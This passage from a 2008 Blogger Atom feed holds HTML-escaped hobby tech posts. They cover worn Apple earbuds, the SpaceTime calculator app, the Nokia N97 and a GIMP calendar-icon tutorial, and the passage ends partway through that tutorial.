&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/4966093640593647647/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=4966093640593647647" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/4966093640593647647?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/4966093640593647647?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/P94pK6zueiw/in-ear-headphone-technology-best-sound.html" title="In-ear headphone technology - best sound ever" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_y9bIz6XDw14/SVYu2Ce6dJI/AAAAAAAAAIw/waZr6pu2gqo/s72-c/phpHZo6I7.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/12/in-ear-headphone-technology-best-sound.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08DRH0zcCp7ImA9WxVTE0U.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-2220150999893158372</id><published>2008-12-27T12:27:00.008+01:00</published><updated>2008-12-27T14:51:15.388+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-27T14:51:15.388+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Technology" /><category scheme="http://www.blogger.com/atom/ns#" term="iPod Touch/iPhone" /><title>Apple headphones - unexpected quality</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I bought my iPod Touch in April 2008. I also got headphones in the package and I've used them about one hour a day since then, approximately. The quality of the sound seemed quite good to me. I liked the design, the "apple white" is a very nice color; the length of the cable is just fine. I expected a very good quality, because new apple headphones weren't cheap /at that time/.&lt;br /&gt;Few months later it turned out that the quality of the material (and also sound later) isn't as good as I expected. The rubber ring on the top of the earphone ripped up (on both earphones) which caused the earphone didn't fit well into my ear. Also the rubber bottom ripped up, which wasn't important to me, but it looks weird.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SVYmL8F5FNI/AAAAAAAAAIg/psu2e0L7ebY/s1600-h/headphones1.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 304px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SVYmL8F5FNI/AAAAAAAAAIg/psu2e0L7ebY/s400/headphones1.jpg" alt="" id="BLOGGER_PHOTO_ID_5284453199317112018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Next thing was the rubber protection on the jack, which also ripped up, so I cut it (red line). This didn't affect the headphones in any way or I thought so :p. Once I wanted to disconnect headphones from my PC, the rubber isolation stucked in my hand and the jack was still connected to the PC. Fortunately the cable stayed of a piece, but the wires showed up (yellow  line).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SVYmSYvpYvI/AAAAAAAAAIo/wC72zMcqsqY/s1600-h/headphones2.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 304px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SVYmSYvpYvI/AAAAAAAAAIo/wC72zMcqsqY/s400/headphones2.jpg" alt="" id="BLOGGER_PHOTO_ID_5284453310087652082" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-2220150999893158372?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=2qj9PogS"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=Twp1aJXH"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=Twp1aJXH" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=R5lYxn2J"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=R5lYxn2J" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=GgLq0F1q"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=GgLq0F1q" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/2220150999893158372/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=2220150999893158372" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/2220150999893158372?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/2220150999893158372?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/-lAvEwSWCQI/apple-headphones-unexpected-quality.html" title="Apple headphones - unexpected quality" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_y9bIz6XDw14/SVYmL8F5FNI/AAAAAAAAAIg/psu2e0L7ebY/s72-c/headphones1.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/12/apple-headphones-unexpected-quality.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0MMSXwzcSp7ImA9WxVTEUg.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-4704059962946579599</id><published>2008-12-24T21:37:00.002+01:00</published><updated>2008-12-24T21:44:48.289+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-24T21:44:48.289+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Life" /><title>PF 2009</title><content type="html">&lt;span style="font-family: trebuchet ms; font-weight: bold;"&gt;I wish you all merry Christmas and happy New year 2009. Peace and best of luck and lot of success and a lot of gifts and happiness and haleness.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SVKfDHr4ByI/AAAAAAAAAII/Bosr5VAy_Mk/s1600-h/pf.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 254px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SVKfDHr4ByI/AAAAAAAAAII/Bosr5VAy_Mk/s400/pf.png" alt="" id="BLOGGER_PHOTO_ID_5283460188810512162" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-4704059962946579599?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=NKp4HvrG"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=qmpqQzo1"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=qmpqQzo1" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=ckn6cDgs"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=ckn6cDgs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=RjYbYCeZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=RjYbYCeZ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/4704059962946579599/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=4704059962946579599" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/4704059962946579599?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/4704059962946579599?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/KAaDfBfLe94/pf-2009.html" title="PF 2009" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_y9bIz6XDw14/SVKfDHr4ByI/AAAAAAAAAII/Bosr5VAy_Mk/s72-c/pf.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/12/pf-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUMQXo-fyp7ImA9WxVQEUs.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-2176255902720511790</id><published>2008-12-17T19:13:00.011+01:00</published><updated>2009-01-28T18:21:20.457+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-28T18:21:20.457+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="iPod Touch/iPhone" /><title>SpaceTime 3.0 - The best calculator for iPhone/iPod Touch</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I use iPod as a calculator in my math lessons at school. Since the 2.0 firmware version there is a better calc. Just rotate the iPod to the landscape position and you get loads of functions for solving complex science and math problems. But what I missed was a graph plotter and an equation solver.&lt;br /&gt;A friend of mine announced me, that a version of Spacetime is avalible for iPhone/iPod Touch. I already knew this app, but didn't know that it's portable on iPod.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SUlPmm7T5MI/AAAAAAAAAHA/8fwXzq7ZjAY/s1600-h/Tori.jpg"&gt;&lt;img style="cursor: pointer; width: 120px; height: 223px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SUlPmm7T5MI/AAAAAAAAAHA/8fwXzq7ZjAY/s400/Tori.jpg" alt="" id="BLOGGER_PHOTO_ID_5280839562771555522" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SUlPhTllKTI/AAAAAAAAAG4/U2Qj_h6bHto/s1600-h/Calculator1.jpg"&gt;&lt;img style="cursor: pointer; width: 120px; height: 223px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SUlPhTllKTI/AAAAAAAAAG4/U2Qj_h6bHto/s400/Calculator1.jpg" alt="" id="BLOGGER_PHOTO_ID_5280839471680792882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;When you run Spacetime first time, you are welcomed by a very nice tutorial, which describes the work with Spacetime. Tutorial is devided into 9 parts (Basics, Solve Quadratic Equations, Calculus, 2D Graphing, 3D Graphing, Matrices, Custom Functions, Scripting and Scroll Function).&lt;br /&gt;&lt;br /&gt;So I'm now able to solve the quadratic equations very quickly, which I need frequently at school. Actually I only have to enter the variables a, b and c, and I get the result immediately, even the equation doesn't have a solution in R numbers. In this case I get two complex roots.&lt;br /&gt;&lt;br /&gt;Another feature I noticed is that Spacetime is able to count with the fractions. For instance you want to solve sin(60°) and you get the right answer (√3/2). Or you click to solve again and it is converted to a number (0.866...).&lt;br /&gt;&lt;br /&gt;Next thing is the scripting feature. I would like to learn this because scripts really save your time. Maybe I'll write an article about scripting in Spacetime in the future.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.spacetime.us/iphone/"&gt;Link to the official Spacetime website&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Anther screenshots:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SUlWUwyzfbI/AAAAAAAAAHY/XVkpeT6Z8Xg/s1600-h/Scroll.jpg"&gt;&lt;img style="cursor: pointer; width: 120px; height: 223px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SUlWUwyzfbI/AAAAAAAAAHY/XVkpeT6Z8Xg/s400/Scroll.jpg" alt="" id="BLOGGER_PHOTO_ID_5280846952763981234" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SUlWR3hyH9I/AAAAAAAAAHQ/AXzvpFKtctI/s1600-h/Calculator2.jpg"&gt;&lt;img style="cursor: pointer; width: 120px; height: 223px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SUlWR3hyH9I/AAAAAAAAAHQ/AXzvpFKtctI/s400/Calculator2.jpg" alt="" id="BLOGGER_PHOTO_ID_5280846903032029138" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SUlWPKJ951I/AAAAAAAAAHI/1llVwTYbHcA/s1600-h/Polar.jpg"&gt;&lt;img style="cursor: pointer; width: 120px; height: 223px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SUlWPKJ951I/AAAAAAAAAHI/1llVwTYbHcA/s400/Polar.jpg" alt="" id="BLOGGER_PHOTO_ID_5280846856492803922" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-2176255902720511790?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=GTryatSg"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=jtcNoTDL"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=jtcNoTDL" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=b4yaK2WP"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=b4yaK2WP" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=wJ9kREEo"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=wJ9kREEo" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/2176255902720511790/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=2176255902720511790" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/2176255902720511790?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/2176255902720511790?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/T7RxABF-kzI/spacetime-30-best-calculator-for.html" title="SpaceTime 3.0 - The best calculator for iPhone/iPod Touch" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_y9bIz6XDw14/SUlPmm7T5MI/AAAAAAAAAHA/8fwXzq7ZjAY/s72-c/Tori.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/12/spacetime-30-best-calculator-for.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8NSHk8fip7ImA9WxRbGU4.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-812698732762706065</id><published>2008-12-10T17:37:00.009+01:00</published><updated>2008-12-10T19:14:59.776+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-10T19:14:59.776+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Technology" /><title>Nokia N97 Overview</title><content type="html">&lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;span style="font-family:verdana;"&gt;Some time ago, I wrote an article about &lt;a href="http://bulbing.blogspot.com/2008/08/nokia-n810-internet-tablet.html"&gt;Nokia N810, Internet tablet device&lt;/a&gt;. Recently I've heard a news that Nokia is comming out with a new device called Nokia N97. I made a connection with N810 because I find a similarity in the appearance between these two devices. Both of them have a kick-out full QWERTY keyboard.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a style="color: rgb(0, 0, 0);" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/ST_35VIIBOI/AAAAAAAAAGg/hrbJ2k__4eM/s1600-h/n810_n97.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 146px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/ST_35VIIBOI/AAAAAAAAAGg/hrbJ2k__4eM/s400/n810_n97.jpg" alt="" id="BLOGGER_PHOTO_ID_5278209852597339362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;N97 is running Symbian S60 5th generation. I'm not surprised, because Nokia is running Symbian for a long time. But still I see an advantage of using Windows Mobile on these devices. One of the reasons is Office (Word, Excel, Power Point..) which is fully supported in Windows Mobile. &lt;span style="color: rgb(102, 102, 102);"&gt;For example I find it very difficult to read office documents on my &lt;/span&gt;&lt;a style="color: rgb(102, 102, 102);" href="http://bulbing.blogspot.com/search/label/iPod%20Touch%2FiPhone"&gt;iPod Touch&lt;/a&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;. Finally I found a solution how to read office documents but I can't edit them and sometimes I have problems with the new format "docx". &lt;span style="color: rgb(0, 0, 0);"&gt;But I have no experience with the new Symbian, maybe reading and editing Office documents is already solved somehow. In comparison N810 runs Linux.&lt;br /&gt;&lt;br /&gt;N97 offers a widescreen display with resolution 640x360 (16:9). Which is not bad, for example iPod Touch's resolution is 480x320 and I'm quite content while watching movies :) but again in comparison with N810 it's a bit smaller screen. N810 has res. 800x480.&lt;br /&gt;&lt;br /&gt;What impressed me is the 5MPx camera. N810 has a VGA resolution (640x480) if I'm not mistaken. 5MPx is a move forward, the quality of photos should be good enough. The camera is also supported by dual led camera flash.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a style="color: rgb(0, 0, 0);" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/SUADOSR4SlI/AAAAAAAAAGo/RDcEhGTeELM/s1600-h/n97_2.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 288px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SUADOSR4SlI/AAAAAAAAAGo/RDcEhGTeELM/s400/n97_2.jpg" alt="" id="BLOGGER_PHOTO_ID_5278222307238103634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Here is the technical specification:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;5MPx camera, (VGA video)&lt;/li&gt;&lt;li&gt;Bluetooth connectivity&lt;br /&gt;&lt;/li&gt;&lt;li&gt;WiFi&lt;/li&gt;&lt;li&gt;3.5 inch display&lt;/li&gt;&lt;li&gt;3.5mm Audio Jack&lt;/li&gt;&lt;li&gt;GPS&lt;/li&gt;&lt;li&gt;32GB integrated memory (extendable up to 48GB)&lt;/li&gt;&lt;li&gt;hardware QWERTY keyboard&lt;/li&gt;&lt;li&gt;weight 150g (iPhone - 133g)&lt;/li&gt;&lt;li&gt;OS - Symbian S60 5th generation&lt;/li&gt;&lt;li&gt;640x360 (16:9) display, 16 million colors&lt;/li&gt;&lt;li&gt;Video capture: MPEG-4 VGA (640 x 480) at up to 30 fps&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-812698732762706065?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=fmciveBs"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=8pNTLREC"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=8pNTLREC" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=DdzXGqkN"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=DdzXGqkN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=AbRJdO4m"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=AbRJdO4m" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/812698732762706065/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=812698732762706065" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/812698732762706065?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/812698732762706065?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/Bz9KHJjl8IU/nokia-n97-overview.html" title="Nokia N97 Overview" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_y9bIz6XDw14/ST_35VIIBOI/AAAAAAAAAGg/hrbJ2k__4eM/s72-c/n810_n97.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/12/nokia-n97-overview.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0YBRnc_fip7ImA9WxRUFkk.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-4645536564077342854</id><published>2008-11-25T20:50:00.012+01:00</published><updated>2008-11-25T22:39:17.946+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-25T22:39:17.946+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Gimp usage" /><title>Web 2.0 Calendar icon in Gimp [Tutorial]</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Today I will show you how to create a Web 2.0 calendar icon in Gimp. I use the latest version of Gimp, which is 2.6.1, I recommend you to download this version but it's just an advice, an older version won't limit you in this tutorial. Let's start.&lt;br /&gt;&lt;br /&gt;First create an image in Gimp, it's OK to have a large one, I chose 640x480 to have a large canvas around the image. Fill it with white (if it's not already).&lt;br /&gt;&lt;br /&gt;Go to selection tool (R) and make a selection which will be the "inside" of your icon (so make it aptly large). Go to Layers and create a new layer. Call it "Icon inside". Fill it with white (it won't make any change now)&lt;br /&gt;&lt;br /&gt;Go to Layers and make a new layer called "Black outer border". Go to Select - Grow (3px). Go to Select - Rounded rectangle (3% Radius). Fill it with black and move it under the "Icon inside" layer. Here is what you should get:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SSxfq5ngAZI/AAAAAAAAAFw/u927wPkZKbA/s1600-h/screen1.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 251px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SSxfq5ngAZI/AAAAAAAAAFw/u927wPkZKbA/s400/screen1.jpg" alt="" id="BLOGGER_PHOTO_ID_5272694454369649042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Now right click on the "Icon inside" layer and select Alpha to selection. Create a new layer called "Red heading". You will need to select the top of the white layer called "Icon inside" so go to selection tool (R) hold the Control button on your keyboard and select something more than the lower half. Than fill it (B) with red (#db1b1b). Unselect all (Ctrl+Shift+A)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SSxii2sUMAI/AAAAAAAAAF4/EDYuGqgI1nM/s1600-h/screen2.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 249px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SSxii2sUMAI/AAAAAAAAAF4/EDYuGqgI1nM/s400/screen2.jpg" alt="" id="BLOGGER_PHOTO_ID_5272697614680469506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;At this point, we we'll try to make a lighting which will add a realistic appearance. I will use the Path tool. Stay calm, there is nothing to worry about. Make two points, than add the third one (by holding Control button) between them and move it. When you finish and you are happy with the result, the first step is done. You should have a curve, make some more points to make a fluent "selection".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SSxnUw3dn9I/AAAAAAAAAGA/aKinW-P58h8/s1600-h/screen6.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 90px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SSxnUw3dn9I/AAAAAAAAAGA/aKinW-P58h8/s400/screen6.jpg" alt="" id="BLOGGER_PHOTO_ID_5272702870156582866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Right click the "Red header" layer and select Alpha to selection. Make a new layer called "Lighting". Go to Path dialog, there should be something like "path to selection". Hold Control+Shift buttons and click on that icon. Fill the selection with white and set the opacity to 15%.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SSxovzAQOdI/AAAAAAAAAGI/O36de4my0KM/s1600-h/screen7.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 251px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SSxovzAQOdI/AAAAAAAAAGI/O36de4my0KM/s400/screen7.jpg" alt="" id="BLOGGER_PHOTO_ID_5272704434098420178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I will do something very similar on the bottom of the image. Select Alpha to selection of the "Icon inside" layer and make a new layer called "Shadow". This new "Shadow" layer should lay above the "Icon inside" layer and under "Red header" layer.  Make a curve using the path tool, go to Path dialog, click on the "Path to selection" icon (while holding Control and Shift buttons) and fill it with black, than adjust the opacity.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SSxr52oRvJI/AAAAAAAAAGQ/n9y-ids3obY/s1600-h/screen8.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 246px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SSxr52oRvJI/AAAAAAAAAGQ/n9y-ids3obY/s400/screen8.jpg" alt="" id="BLOGGER_PHOTO_ID_5272707905405172882" border="0" 